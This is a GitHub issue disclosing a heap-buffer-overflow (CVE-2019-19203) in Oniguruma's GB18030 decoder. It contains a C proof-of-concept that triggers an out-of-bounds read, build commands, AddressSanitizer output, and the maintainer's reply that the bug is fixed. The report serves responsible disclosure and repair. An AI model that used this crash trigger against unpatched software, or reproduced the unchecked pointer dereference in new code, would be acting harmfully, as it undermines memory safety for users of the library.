Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

heap-buffer-overflow in gb18030_mbc_enc_len #163

Closed
ManhNDd opened this issue Nov 6, 2019 · 2 comments
Closed

heap-buffer-overflow in gb18030_mbc_enc_len #163

ManhNDd opened this issue Nov 6, 2019 · 2 comments

Comments

@ManhNDd
Copy link

ManhNDd commented Nov 6, 2019

In gb18030_mbc_enc_len, p ++ then p is dereferenced without checking if it passes the end of string, which leads to heap-buffer-overflow.

static int
gb18030_mbc_enc_len(const UChar* p)
{
  if (GB18030_MAP[*p] != CM)
    return 1;

  p++;
  if (GB18030_MAP[*p] == C4)
    return 4;

  return 2;
}

PoC:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include "oniguruma.h"

static int
search(regex_t* reg, unsigned char* str, unsigned char* end)
{
  int r;
  unsigned char *start, *range;
  OnigRegion *region;

  region = onig_region_new();

  start = str;
  range = end;
  r = onig_search(reg, str, end, start, range, region, ONIG_OPTION_NONE);
  if (r >= 0 ) {
    int i;

    fprintf(stdout, "match at %d  (%s)\n", r,
            ONIGENC_NAME(onig_get_encoding(reg)));
    for (i = 0; i < region->num_regs; i++) {
      fprintf(stdout, "%d: (%d-%d)\n", i, region->beg[i], region->end[i]);
    }
  }
  else if (r == ONIG_MISMATCH) {
    fprintf(stdout, "search fail (%s)\n",
            ONIGENC_NAME(onig_get_encoding(reg)));
  }
  else { /* error */
    char s[ONIG_MAX_ERROR_MESSAGE_LEN];
    onig_error_code_to_str((UChar* )s, r);
    fprintf(stdout, "ERROR: %s\n", s);
    fprintf(stdout, "  (%s)\n", ONIGENC_NAME(onig_get_encoding(reg)));
    
    onig_region_free(region, 1 /* 1:free self, 0:free contents only */);
    return -1;
  }

  onig_region_free(region, 1 /* 1:free self, 0:free contents only */);
  return 0;
}

int main(int argc, char* argv[])
{
  int r;
  regex_t* reg;
  OnigErrorInfo einfo;

  char *pattern = (char*)malloc(6);
  memcpy(pattern, "[\\W]\\w", 6);
  char *pattern_end = pattern + 6;
  OnigEncodingType *enc = ONIG_ENCODING_GB18030;

  char* str = (char*)malloc(2);
  memcpy(str, "\xe1\xe1", 2);
  char* str_end = str+2;

  onig_initialize(&enc, 1);
  r = onig_new(&reg, (unsigned char *)pattern, (unsigned char *)pattern_end,
               ONIG_OPTION_NONE, enc, ONIG_SYNTAX_DEFAULT, &einfo);
  if (r != ONIG_NORMAL) {
    char s[ONIG_MAX_ERROR_MESSAGE_LEN];
    onig_error_code_to_str((UChar* )s, r, &einfo);
    fprintf(stdout, "ERROR: %s\n", s);
    onig_end();

    if (r == ONIGERR_PARSER_BUG ||
        r == ONIGERR_STACK_BUG  ||
        r == ONIGERR_UNDEFINED_BYTECODE ||
        r == ONIGERR_UNEXPECTED_BYTECODE) {
      return -2;
    }
    else
      return -1;
  }

  if (onigenc_is_valid_mbc_string(enc, str, str_end) != 0) {
    r = search(reg, str, str_end);
  } else {
    fprintf(stdout, "Invalid string\n");
  }

  onig_free(reg);
  onig_end();
  return 0;
}

Compilation:

./configure CFLAGS=-fsanitize=address LDFLAGS=-fsanitize=address CC=gcc
make
gcc -fsanitize=address -I./oniguruma-gcc-asan/src ./poc-gb18030_mbc_enc_len.c ./oniguruma-gcc-asan/src/.libs/libonig.a -o poc-gb18030_mbc_enc_len

Output of PoC:

=================================================================
==1657==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000efd2 at pc 0x000000487af9 bp 0x7ffcaa15b840 sp 0x7ffcaa15b830
READ of size 1 at 0x60200000efd2 thread T0
    #0 0x487af8 in gb18030_mbc_enc_len /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan/src/gb18030.c:72
    #1 0x47bf9a in onigenc_mbn_mbc_to_code /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan/src/regenc.c:774
    #2 0x487df4 in gb18030_mbc_to_code /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan/src/gb18030.c:121
    #3 0x45eb99 in match_at /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan/src/regexec.c:3271
    #4 0x474479 in search_in_range /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan/src/regexec.c:5382
    #5 0x473370 in onig_search /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan/src/regexec.c:5168
    #6 0x401278 in search (/root/fuzz/fuzz_oniguruma/poc-gb18030_mbc_enc_len+0x401278)
    #7 0x401993 in main (/root/fuzz/fuzz_oniguruma/poc-gb18030_mbc_enc_len+0x401993)
    #8 0x7f3fc8e9c82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #9 0x401098 in _start (/root/fuzz/fuzz_oniguruma/poc-gb18030_mbc_enc_len+0x401098)

0x60200000efd2 is located 0 bytes to the right of 2-byte region [0x60200000efd0,0x60200000efd2)
allocated by thread T0 here:
    #0 0x7f3fc92de602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
    #1 0x4017e3 in main (/root/fuzz/fuzz_oniguruma/poc-gb18030_mbc_enc_len+0x4017e3)
    #2 0x7f3fc8e9c82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)

SUMMARY: AddressSanitizer: heap-buffer-overflow /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan/src/gb18030.c:72 gb18030_mbc_enc_len
Shadow bytes around the buggy address:
  0x0c047fff9da0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff9db0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa 04 fa
  0x0c047fff9dc0: fa fa 00 00 fa fa 00 04 fa fa 00 00 fa fa 06 fa
  0x0c047fff9dd0: fa fa 00 00 fa fa 06 fa fa fa 00 00 fa fa 04 fa
  0x0c047fff9de0: fa fa 00 00 fa fa 00 01 fa fa 00 00 fa fa 00 00
=>0x0c047fff9df0: fa fa 05 fa fa fa 00 00 fa fa[02]fa fa fa 06 fa
  0x0c047fff9e00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff9e10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff9e20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff9e30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff9e40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
==1657==ABORTING
@kkos
Copy link
Owner

kkos commented Nov 7, 2019

Thank you for the report.

I can't believe I couldn't detect this problem before.
Why didn't an error occur when GB18030 eocoding was included in encode-harness.c?
Added "[\W]" pattern to ascii_compatible.dict.
However, it is unclear whether the quality of the fuzz test will improve.

This problem is caused by registering an incorrect code value as a single byte value of the character class.

@kkos kkos closed this as completed in aa0188e Nov 7, 2019
@ManhNDd
Copy link
Author

ManhNDd commented Nov 21, 2019

This was assigned CVE-2019-19203.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants